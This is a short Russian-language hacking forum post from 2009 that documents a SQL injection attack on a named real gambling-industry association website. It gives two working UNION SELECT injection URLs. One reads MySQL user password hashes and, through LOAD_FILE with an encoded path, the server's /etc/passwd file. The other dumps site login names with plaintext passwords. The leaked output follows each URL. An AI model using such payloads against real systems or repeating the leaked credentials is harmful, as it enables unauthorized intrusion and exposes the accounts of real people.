Показать сообщение отдельно

  #6  
Старый 26.01.2009, 13:16
Maestus
Новичок
Регистрация: 19.01.2009
Сообщений: 12
С нами: 9110020

Репутация: 92
По умолчанию

Российская Ассоциация Развития Игорного Бизнеса

Цитата:
http://www.rarib.ru/news.cfm?type=-4+union+select+1,2,3,4,5,6,6,8,SYSDATE(),6,concat_ ws(0x20,user(),mysql.user.password,database(),vers ion()),LOAD_FILE(char(47,101,116,99,47,112,97,115, 115,119,100)),2,3+from+mysql.user/*
user():web@localhost

1.mysql.user.password:asdf2d?FR34tds
2.mysql.user.password:205580253bde416f

database():RARIB
version():4.0.18-standard

/etc/passwd
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
...

Цитата:
http://www.rarib.ru/news.cfm?type=-4+union+select+1,2,login,4,5,6,7,8,SYSDATE(),6,log in,passwd,2,3+from+user/*
kompik:111111
mike:m6Zk31BYG
т.д.

Последний раз редактировалось Maestus; 26.01.2009 в 13:46..
 
Ответить с цитированием